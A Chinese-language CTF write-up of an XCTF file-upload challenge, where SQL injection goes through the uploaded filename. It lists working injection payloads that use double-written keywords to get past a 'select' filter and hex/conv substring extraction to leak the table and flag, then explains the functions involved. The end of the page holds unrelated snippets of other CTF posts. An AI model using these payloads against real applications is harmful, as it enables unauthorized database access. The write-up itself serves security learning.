這是一道xctf平台上的upload題,我沒有想到它是個sql注入
0x01
開啟鏈結是乙個登陸介面,不管三七二十一先註冊登陸,是乙個檔案上傳的頁面,任意上傳檔案,發現只能傳jpg才能記錄下來。好像其他的都被過濾掉了。
值得注意的是我們上傳的檔名都會顯示到頁面上,這個過程可能是經過資料庫查詢的,我們上傳的檔名會存放到資料庫中,猜想插入語句為:
insert into 表名(『filename』,…) values(『上傳的檔名』,…);
嘗試構造sql語句,容我抓個包先!!
0x03
在filename=4.jpg的地方構造sql語句:嘗試發現select被過濾,嘗試雙寫繞過,經過輪番嘗試,構造語句:
』 +seleselectct conv(substr(hex(database()),1,12),16,10) +'讀取出庫名
依次讀出表名:
『+(seleselectct+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema = 『web_upload』 limit 1,1)),1,12),16,10))+』
讀出列名:
'+(seleselectct+conv(substr(hex((selselectect column_name frfromom information_schema.columns where table_name = 『hello_flag_is_here』 limit 1,1)),1,12),16,10))+ 』
讀出flag:
'+(seleselectct conv(substr(hex((seselectlect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+ 』
注意:substr中的長度限制:不限制長度會導致返回值太大,系統使用科學計數法(xx e ***xx)表示。所以還得一點點試試看,很煩這裡我用的進製轉化工具:
16進製制轉ascii工具:
把36427215695199轉16進製制,再轉ascii碼得:!!@m
0x05分享以下學到的函式:調整長度(13,12)得到:th.e_f
再次調整(25,12):!lag
拼接得:!
!_@m_th.e_f!lag
substr函式格式(俗稱:字元擷取函式)
格式1: substr(string string, int a, int b);
格式2:substr(string string, int a) ;
格式1:
1、string 需要擷取的字串
2、a 擷取字串的開始位置(注:當a等於0或1時,都是從第一位開始擷取)
3、b 要擷取的字串的長度
格式2:
1、string 需要擷取的字串
2、a 可以理解為從第a個字元開始擷取後面所有的字串。
conv()函式格式:
格式:conv(hex(『a』),a,b)
這個函式是用來將字元轉換進製的,例如將a轉成ascii碼(換個說法就是將16進製制的a換成10進製)直接用conv(hex(『a』),16,10)
第乙個引數是要轉換的字元,第二個就是要轉換的字元的進製,第三個引數就是轉換成的進製
就是說第二個引數要和第乙個引數的型別一致,第三個引數就是想要得到的進製
*
*limit :*
* limit子句用於限制查詢結果返回的數量,常用於分頁查詢
例如:select column from tablename limit i,n
i:為查詢結果的索引值(預設從0開始),當i=
0時可省略i
n:為查詢結果返回的數量
i與n之間使用英文逗號","隔開,limit n 等同於 limit 0
,n
CTF之SQL注入
github audi 1 sqli labs sqli labs 爆庫名select database 爆表名select group concat table name from information schema.tables where table schema database 爆列名s...
ctf做題記錄
萌萌噠的八戒 開啟檔案所在位置,新增字尾為zip.可以檔案有一句話以下密文被解開後可以獲得乙個有意義的單詞 frphevgl 在位移為13的時候可以獲得乙個有意義的單詞 security 然後把密文comechina移位13加密可得flag.世上無難事 以下是某國現任 外發的一段指令,經過一種奇異的...
Docker搭建ctf題記錄
一 安裝docker環境 二 用dockfile安裝映象 1.cd到dockerfile目錄,搭建image docker build t ctf test 代表當前目錄 ctf test 代表image名字 可以自定義 如果是根據docker compose.yml搭建可以使用裡面給的名字。三 生...